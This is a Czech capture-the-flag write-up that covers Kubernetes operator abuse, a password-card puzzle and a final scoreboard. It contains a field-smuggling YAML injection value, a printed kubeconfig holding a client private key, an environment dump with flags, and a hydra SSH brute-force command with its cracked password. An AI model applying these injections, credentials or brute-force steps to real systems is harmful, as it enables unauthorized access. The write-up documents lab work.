GPG_KEYS=5C3C5F3E314C866292F359A8F3AD5C94A67F707E A9C5DF4D22E99998D9875A5110C01C5A2F6059E7
JGAMES_WEB_PORT_80_TCP_PROTO=tcp
JGAMES_DEBUG_SERVICE_PORT=5005
PWD=/tmp
TOMCAT_SHA512=0a62e55c1ff9f8f04d7aff938764eac46c289eda888abf43de74a82ceb7d879e94a36ea3e5e46186bc231f07871fcc4c58f11e026f51d4487a473badb21e9355
TOMCAT_MAJOR=10
HOME=/usr/local/tomcat
LANG=en_US.UTF-8
KUBERNETES_PORT_443_TCP=tcp://192.168.128.1:443
JGAMES_DEBUG_PORT_5005_TCP_PORT=5005
JGAMES_DEBUG_SERVICE_HOST=192.168.183.255
NCAT_LOCAL_PORT=46760
TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib
FLAG=FLAG{ijBw-pfxY-Scgo-GJKO}
NCAT_REMOTE_PORT=8485
JGAMES_DEBUG_PORT=tcp://192.168.183.255:5005
JGAMES_WEB_SERVICE_PORT=80
CATALINA_HOME=/usr/local/tomcat
JAVA_TOOL_OPTIONS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
JGAMES_WEB_SERVICE_HOST=192.168.207.69
JGAMES_WEB_PORT_80_TCP=tcp://192.168.207.69:80
SHLVL=1
JGAMES_WEB_SERVICE_PORT_WEB=80
KUBERNETES_PORT_443_TCP_PROTO=tcp
NCAT_PROTO=TCP
JGAMES_DEBUG_PORT_5005_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=192.168.128.1
LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib
JGAMES_WEB_PORT_80_TCP_ADDR=192.168.207.69
KUBERNETES_SERVICE_HOST=192.168.128.1
JGAMES_DEBUG_PORT_5005_TCP=tcp://192.168.183.255:5005
LC_ALL=en_US.UTF-8
KUBERNETES_PORT=tcp://192.168.128.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PATH=/usr/local/tomcat/bin:/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NCAT_REMOTE_ADDR=10.200.0.76
JGAMES_WEB_PORT_80_TCP_PORT=80
TOMCAT_VERSION=10.1.26
JAVA_VERSION=jdk-21.0.4+7
_=/usr/bin/printenv
OLDPWD=/usr/local/tomcat

4. Uncle SAM

JSAM aneb 192.168.73.120 (možná se mění IP adresa) má otevřené porty:

  • 8010 WEB
    • Na webu můžu vytvořet Projekty
  • 9115 Něco zajímavého

Po návratu k [[#1. Travel]] jsem oprášil zdrojový kód sam-operator a lze říci, že:

  • namespaces:
    • sam-queue <- měl by mít vyšší oprávnění
    • sam-operator
  • vznikl uživatel samop
  • po dlooouhéém sledování jsem zjistil že 00-hook.py je zodpovědný za vytváření Secret konkr.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    
    UPDATE_TEMPLATE = """
    ---
    apiVersion: v1
    kind: ConfigMap
    metadata:
    name: "{name}"
    namespace: "{queue_ns}"
    data:
    storage: "{storage}"
    ---
    apiVersion: v1
    kind: Secret
    metadata:
    name: "{name}"
    namespace: "{queue_ns}"
    stringData:
    storage: "{storage}"
    access_token: "{access_token}"
    quota: "{quota}"
    """
    

Jde tu zejména o to, že jsme schopni vytvářet a mazat ConfigMap ale my potřebujeme upravit Secret abychom zapnuli debug a splnili tak podmínku ve flask aplikaci pro zobrazení. Je potřeba nastavit

1
sam-operator/project_quota: "1GB\"\n debug: \"1"

Tohle je špatné řešení, ale příkaz z Info je správný !

configmap

Náhled na port 9115:

port1

port2

tady už hraje roli i IP adresa 192.168.128.1
např.: https://192.168.128.1/api/v1/namespaces/%7Bnamespace%7D/configmaps?limit=%7Bvalue%7D&resourceVersion=%7Bvalue%7D která je dostupná jen přes SOCKS proxy

Fragmenty

192.168.128.1
  • DNS přes PROXY: http://sam.lore.tcc (Kravina)
  • Hostname: kubernetes.default.svc.cluster.local
  • Port: 443
  • Jedná se o kubernetes api server, který vyžaduje ověření

Útok na kubernetes via kubectl

  1. Nachystat si config kubeconf.yaml
  2. namespace je sam-queue
  • Bylo potřeba se vrátit k [[#3. Bounded]] kde jsme našli v /mnt konfigurační soubor k uživateli jacob:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURCVENDQWUyZ0F3SUJBZ0lJZmNPcWJvVVFTUDh3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TkRBNE1qVXhOVFF6TXpSYUZ3MHpOREE0TWpNeE5UUTRNelJhTUJVeApFekFSQmdOVkJBTVRDbXQxWW1WeWJtVjBaWE13Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLCkFvSUJBUURGSnovZndKL3pUUWY3WUxLYy9hb00rc25LanN2UnBDUUN0YkZzUTRJSmlWQ3pVV0lqbFE1eEJTME4KMHBTaFJDcUZySSsrb0RyVlZMS2NtUXlQQkVCVlliWG93MFhqZ2t5QU5LU3l3YWl4eno5QnloNXk0MElSTGw2Mgorbi8xSmkzVnBUMWFzZ3V5c0VOLzNQU1NiR2VkTVZ6bzJsV0xEdjAwZlQ1b2p1eGo5ZDJveFAwY0dZWDRobVFYCnBlTjhlRDhJQTIxYnNzamYza0ZwYVhrSjlJTDExd3Q0QjdjV2ZYNHNjYWdEZmJZSmlwUHd3VEZCWmZRRGlhMFoKbkgyUThtUTJ5ZEcvWHZtUFBFc1Z2dmJMYy9CdXk2REFVZnkvMzRZdXg4c1ZnUk5DamY1SmMwV09PVU5WNG05aAp3emQ3V2lOclo3MndGU3hlTjE0d0FUY0tXNFp2QWdNQkFBR2pXVEJYTUE0R0ExVWREd0VCL3dRRUF3SUNwREFQCkJnTlZIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJTdko1MkJLZDNsMkQwNXF1MmpxRHFCeFd1RjhEQVYKQmdOVkhSRUVEakFNZ2dwcmRXSmxjbTVsZEdWek1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQWRZSUQ0OUhCaQp6U00rdVdtUVFaSkU4Z3I2UTJzejZQTHErbGVQQW9jL2Z5c0JZM1k1RVNSNjRSNkM1eU9VRnRGa2p0N29SZ2RzCkRqcVE2eUtweWd2R3J5dHdxQUZORisyRnN2WlpLUVovK09aZE1Ta3EvTWRDZCt2cXZqZW5LL0cvaWdaTzFzM2QKWEZaNmxWOGlOVFFvaXkrWEdOV3FLajNiTEoyQXRQR1lUS1kvejZjN2pETDB6RlZ3SFc0bVQ1NVBpQ3RXYThvbgo2R1lrZWhZaWNmK1ZWZzFZV0tsdUNWcnVPSTJQT2V2bCtGYXJFckkzeWsxVW5pcC9NNDU5dWpzMWgyQ1RrRlBhCndiM2JKMjZwellKSG5oc2dRTE1wd241a2JIQ2IxRU96UmlqRzJDaVdXdFM5eGtDN0taMU9kenFoZ29wQU16M3EKd3hlSncyLzlKWVV2Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
    server: https://10.99.24.81:6443
  name: kubernetes
contexts:
- context:
    cluster: kubernetes
    user: jacob
  name: jacob@kubernetes
current-context: jacob@kubernetes
kind: Config
users:
- name: jacob
  user:
    client-certificate-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURKRENDQWd5Z0F3SUJBZ0lSQUtuQ3ZUSTVySGZJUHRYTU9xeURub2N3RFFZSktvWklodmNOQVFFTEJRQXcKRlRFVE1CRUdBMVVFQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TkRBNE1qVXhOVFE0TlRoYUZ3MHlOVEE0TWpVeApOVFE0TlRoYU1DNHhIREFNQmdOVkJBb1RCV1JsZG1Wc01Bd0dBMVVFQ2hNRmFtRmpiMkl4RGpBTUJnTlZCQU1UCkJXcGhZMjlpTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFrQlRqQjFUQzNDUEwKMHVMdU9CWTRKSGhuL2FUdU9uV1B0bysrSFUxN29KYUc2OHZSSHdjU28xY0VQNkJJVk4zd25TYTN2ZGpiVEVrVApnSjRGL2p2aFJLSk9laHdHWGRCWDJQV3ZFQm1IUkxOQmxuekltRnFscjNodXRMZFBIcC9lSlo5c0Y2ZXU3ZG5zCmhhL0M3eTlwbVl2UDRhTTBoYmVmL0lyNUhLdG8wR2JBOVpUbEhmZmI0dnlZSkFhdFdTRTYwTUNabGxQRDB2b2oKZjY4UVZNektHMmMzRDYzMTF4eThLR3ZHUzYxTUtaSG14aElDWE4rVFpKV1VWNkZIemxWWW14NVRYcFNmZTRXRQpOem1EWUsxU1RSdXhERDRnc09KMUVmNTJJQ2ZhNDRlZnBFdmNWSnhZNmhHc0hyMTRxWGYxQzUzKytrcFRTbWxzClJRdkx4eStqbHdJREFRQUJvMVl3VkRBT0JnTlZIUThCQWY4RUJBTUNCYUF3RXdZRFZSMGxCQXd3Q2dZSUt3WUIKQlFVSEF3SXdEQVlEVlIwVEFRSC9CQUl3QURBZkJnTlZIU01FR0RBV2dCU3ZKNTJCS2QzbDJEMDVxdTJqcURxQgp4V3VGOERBTkJna3Foa2lHOXcwQkFRc0ZBQU9DQVFFQXVZa2VySGdadmxkT2hZWkVBQmR5VjJ2VWUzMlRTckdXCktwbFJKaGJaaDZZU0RpOTB5UVovdWRNaVFERzVGcDV0YXVneWtkUUF4ZEw2U2dGL29lUmRHTHN3TnhZSzd4ZjQKTGtKeDM2RWtzb1FQZ3lUY1ZSRW9RQ2xnUjIwTFlSaFh2alg2ZE1BbDNHbzhEV01ORDNSa1laVGVCVFBkb0x2awpLUUt4VVQxcVplaklaei9QUko4UUt4bGhxZHV3TUY1bGNVbjM4QTl1S0J0S0FSak5JSUFXdDFXQzNHVmFIWnlNCkc5V2RSUnNQRWdFeFc1MnRSN2NUZlBtWENsU3YvU21OdVFjVWhvWk04TFNzcHZUTTNmN2dwVmFuWDdTTEZvL2YKWkVGem8rWnBwd3Y5VTF6T3ArY2c5R2lCaWxldHJUbjZtektQd2dKbzRsT3h6OXpDRTFBdFVBPT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
    client-key-data: LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2QUlCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktZd2dnU2lBZ0VBQW9JQkFRQ1FGT01IVk1MY0k4dlMKNHU0NEZqZ2tlR2Y5cE80NmRZKzJqNzRkVFh1Z2xvYnJ5OUVmQnhLalZ3US9vRWhVM2ZDZEpyZTkyTnRNU1JPQQpuZ1grTytGRW9rNTZIQVpkMEZmWTlhOFFHWWRFczBHV2ZNaVlXcVd2ZUc2MHQwOGVuOTRsbjJ3WHA2N3QyZXlGCnI4THZMMm1aaTgvaG96U0Z0NS84aXZrY3EyalFac0QxbE9VZDk5dmkvSmdrQnExWklUclF3Sm1XVThQUytpTi8KcnhCVXpNb2JaemNQcmZYWEhMd29hOFpMclV3cGtlYkdFZ0pjMzVOa2xaUlhvVWZPVlZpYkhsTmVsSjk3aFlRMwpPWU5nclZKTkc3RU1QaUN3NG5VUi9uWWdKOXJqaDUra1M5eFVuRmpxRWF3ZXZYaXBkL1VMbmY3NlNsTkthV3hGCkM4dkhMNk9YQWdNQkFBRUNnZ0VBQnlKUm4zSk45N0o2RENZYVg0S1NJeFFuS2dMNW5NRm5iVVd1eHlxbi9XcVcKb2FSRTVZRm5KZGxRSjRwYktvQ1d3bUZCWmRBUUE3WDJsajY4MHpySnk2a3hzNUFockpGOVdBdktNRVRqVXI2QgpkOThUMjU5Wlp0ZlN1M1g4SCtzUWg5SmQrc25kdW44NDIrRzVDRGpUeEx1TWZvS2pQaCs2ZHptMlhmb0t4WTdOCjVVd0RPdURHYjNmVXhsZDJZcSswUCtxWUdxcjZUWjY5aUZZMVNERHQxdkV6dUhDcHJmeDlyZk0wbjdXdDU5SmoKSmwxVWpDeXU1elhSbU9sZ0xUK3NLdUdBOUlGTGRRcTF2Zi9zSFczZFZ2Ykpnam5FN2dpR2ZvYTlTMDc0TzFibgpocEFBaU9wNEVGalFoaXkzV1d3L2lpdXliRkRlbkFhcC9rZHJyWm9xS1FLQmdRREcxWENoYnlWSGRTL3FMVUhNCmdMV280dW9XY1lUTXJNdm1RamxHelhYWHR0UWdEdCtZd1JXTnFKdFJrQkc0dkVabDJ1cXdUeDlleDRwUFdSSXAKL1pPd2JnNVBmNE1GZkc0K0dZeU83YlVxVGRLU0tNa1Y1eEszUFU0VGtoanpCR042dFpQNDUxZDV4azN5TUFpdwpyV2FEdk05SHhDS2tTZkRRbFRCY3hCcDA5UUtCZ1FDNWdaUXJLQk8zL1VmUEFXYUw4b2FpY25jaHhhanhRNXAzCkQ1RDBwbndhRmNKemFZcm5GK2h3ejcxUnRreFNPVWh0Mkx2MUZLeksxRjVIRVJtNFpFczFsVTJRRHl3Y25OdmkKNVByUGxGZDViUU12c1BIK0dqNTJXaE1YWGs4QVRhZjdLWnVqUzVVYTM5bHViMXVYN2VaSzJ1WUZPN3V3TVlUKwpFV21FM09sKzJ3S0JnQy9EVC9ZSG0vM3BZYVF3VVBFT0xoVXV4U3ExQkVDaWRheVBWZkR6SkE2NGhZWlo3RTVtCmU0WDI3YkNQR2lLMVgzZlNPYlEybllPSURXcDRMQXZZTlNVWm11aHY2Z3BrVkpzb1NnSi9pWmhxNzExYTNNc2QKSWZyUWlEUGRVWTczQytxTE9jdDl6eDZhaTFqVlB4RXA1a2xaRHJYZm9LNjBjRnU2cXM1dDhTa05Bb0dBWmxtZgpKWnlNSEtTclBRUjV6dGMxLzJVR1krVEp6S3ZQQ3NmVTQ1Y0R1K1NyajcvNHVuNVBhZ2JFWHRRbEVleTNFSnhYClArWnpXOG1HWnRHQmptSVB1UFd5Z0x4T1MwOGtadkNOallBOEx5dTlhVS9JaExsNEl4YVpsL2dad0lJWUg1U2EKWWFOdkZnL1J5SU82Vm40VTVOSVh2V1Z5cmNqMHByVjJzYTZ0U2FjQ2dZQnBKb1UvYzc1NVFTQi9uTVNpUmxuRQpUVkJsWkIvMkExL01pYzJoU2syVXJuajhUN0dIZmM1TEp0VmNNZEJyS1h4ckE5OXNEUHFwclB2UzcyVkl0VE9ZCitsckdmYVh0bUtpUDFXUnVXNllpTUFScTBBM1Q1SVdacTBlRlVYNCthNVdvK0N1d2pUNmp5V3lrM0doVUNQUFIKWnZQL2REdmRmRTBOVm1HT0phaFltdz09Ci0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K

Long secure password

  • To jsem vyřešil pomocí ChatGPT, který to vyřešil víceméně celé za mě..
  • Bylo potřeba si udělat slovník hesel, měl by mít 518 hesel.

  • Tabulka hesel:
  • Zároveň to je i můj první prompt pro ChatGPT:
1
tab = [ 'SQUIRREL*JUDGE*NEWS*LESSON', 'WORRY*UPDATE*SEAFOOD*CROSS', 'CHAPTER*SPEEDBUMP*CHECKERS', 'PHONE*HOPE*NOTEBOOK*ORANGE', 'CARTOONS*CLEAN*TODAY*ENTER', 'ZEBRA*PATH*VALUABLE*MARINE', 'VOLUME*REDUCE*LETTUCE*GOAL', 'BUFFALOS*THE*CATCH*SUPREME', 'LONG*OCTOPUS*SEASON*SCHEME', 'CARAVAN*TOBACCO*WORM*XENON', 'PUPPY*LIKE*WHATEVER*POPULAR', 'SALAD*UNKNOWN*SQUATS*AUDIT', 'HOUR*NEWBORN*TURN*WORKSHOP', 'USEFUL*OFFSHORE*TOAST*BOOM', 'COMPANY*FREQUENCY*NINETEEN', 'AMOUNT*CREATE*HOUSE*FOREST', 'BATTERY*GOLDEN*ROOT*WHEELS', 'SHEEP*HOLIDAY*APPLE*LAWYER', 'SUMMER*HORSE*WATER*SULPHUR' ]
  • Druhý prompt:
1
2
3
Rozumím. Abychom nalezli všechny možné 18znakové sekvence, které obsahují hvězdičky a splňují podmínky (lze číst v různých směrech, včetně diagonálních), musíme systematicky zkontrolovat všechny pozice v tabulce jako startovní body a zkoumat, zda můžeme posunem o 18 znaků vytvořit platné heslo.

Kód pro nalezení všech sekvencí z tabulky, které splňují tvůj požadavek, mohu napsat, pokud bys chtěl, aby výsledek obsahoval všechny možné kombinace. Dej mi vědět, jestli pokračovat v této analýze a vytvořit kód, který ti seznam sekvencí poskytne.

Ten jsem si následně nechal převést do .txt souboru a ten stáhl

Po získaném heslu a úspěšném zjištění pomocí nástroje hydra víme, že heslo je: SAOPUNUKTPHCANEMFW

Login

  • Hostname: password-card-rules.cypherfix.tcc
  • User: futurethinker
  • Password: SAOPUNUKTPHCANEMFW
  • Přihlásit se via SSH a whoala :)

hydra -l futurethinker -P wordlist.txt password-card-rules.cypherfix.tcc ssh

FLAG: FLAG{uNZm-GGVK-JbxV-1DIx}

Engyho varianta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
tab = ['SQUIRELL*JUDGE*NEWS*LESSON',
'WORRY*UPDATE*SEAFOOD*CROSS',
'CHAPTER*SPEEDBUMP*CHECKERS',
'PHONE*HOPE*NOTEBOOK*ORANGE',
'CARTOONS*CLEAN*TODAY*ENTER',
'ZEBRA*PATH*VALUABLE*MARINE',
'VOLUME*REDUCE*LETTUCE*GOAL',
'BUFFALOS*THE*CATCH*SUPREME',
'LONG*OCTOPUS*SEASON*SCHEME',
'CARAVAN*TOBACCO*WORM*XENON',
'PUPPYLIKE*WHATEVER*POPULAR',
'SALAD*UNKNOWN*SQUATS*AUDIT',
'HOUR*NEWBORN*TURN*WORKSHOP',
'USEFUL*OFFSHORE*TOAST*BOOK',
'COMPANY*FREQUENCY*NINETEEN',
'AMOUNT*CREATE*HOUSE*FOREST',
'BATTERY*GOLDEN*ROOT*WHEELS',
'SHEEP*HOLIDAY*APPLE*LAWYER',
'SUMMER*HORSE*WATER*SULPHUR']

passLen = 18
rows = 19
cols = 26

def AddToPass(pwd, row, col):
    if row >= 0 and row < rows:
        if col >= 0 and col < cols:
            return pwd + tab[row][col]

def GenPass(rowDir, colDir):
    pwd = ''
    for i in range(passLen):
        pwd = AddToPass(pwd, row + i * rowDir, col + i * colDir)

    if pwd != None:
        print(pwd)

for row in range(rows):
    for col in range(cols):
        GenPass( 0,  1)
        GenPass( 0, -1)
        GenPass( 1,  0)
        GenPass(-1,  0)

        GenPass( 1,  1)
        GenPass( 1, -1)
        GenPass(-1,  1)
        GenPass(-1, -1)

Výsledky

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| Place | Team            | Score | Time [UTC]           |
|-------|------------------|-------|-----------------------|
| 1     | vcpo            | 51    | 08.10.2024 11:32:02  |
| 2     | klarz           | 51    | 08.10.2024 11:45:03  |
| 3     | EngyCZ          | 51    | 11.10.2024 00:13:50  |
| 4     | Jelen a šnek    | 51    | 12.10.2024 18:38:34  |
| 5     | Šuflikanti      | 51    | 13.10.2024 21:56:59  |
| 6     | vincent.woops   | 51    | 14.10.2024 21:05:14  |
| 7     | fearless        | 51    | 16.10.2024 20:48:33  |
| 8     | havry           | 51    | 17.10.2024 13:46:32  |
| 9     | dnakov          | 51    | 18.10.2024 21:59:41  |
| 10    | ❄               | 51    | 19.10.2024 02:07:21  |
| 11    | spm             | 51    | 20.10.2024 17:43:37  |
| 12    | BiT             | 51    | 22.10.2024 10:50:31  |
| 13    | ov49babi4ka     | 51    | 22.10.2024 12:06:25  |
| 14    | charlie         | 51    | 22.10.2024 20:49:37  | <--
| 15    | chris           | 51    | 24.10.2024 10:23:01  |
| 16    | stan            | 51    | 24.10.2024 12:51:36  |
| 17    | vrtačka         | 51    | 24.10.2024 14:25:42  |
| 18    | Yaneek          | 51    | 24.10.2024 14:45:14  |
| 19    | Longmatys       | 51    | 28.10.2024 19:40:53  |
| 20    | tomjab          | 51    | 28.10.2024 19:45:14  |
| 21    | Majino          | 51    | 28.10.2024 20:10:13  |
| 22    | H4CTF           | 51    | 28.10.2024 20:33:08  |
| 23    | Mikulas         | 51    | 29.10.2024 09:09:42  |
| 24    | petko           | 51    | 29.10.2024 09:43:04  |
| 25    | tuna            | 51    | 29.10.2024 09:51:42  |
| 26    | Siso            | 51    | 29.10.2024 10:30:00  |
| 27    | 00gblngq        | 51    | 29.10.2024 10:43:55  |
| 28    | buykjk          | 46    | 15.10.2024 12:58:53  |
| 29    | Seznam 🐶       | 45    | 10.10.2024 20:37:19  |
| 30    | ondrca          | 45    | 21.10.2024 19:21:11  |
This post is licensed under CC BY 4.0 by the author.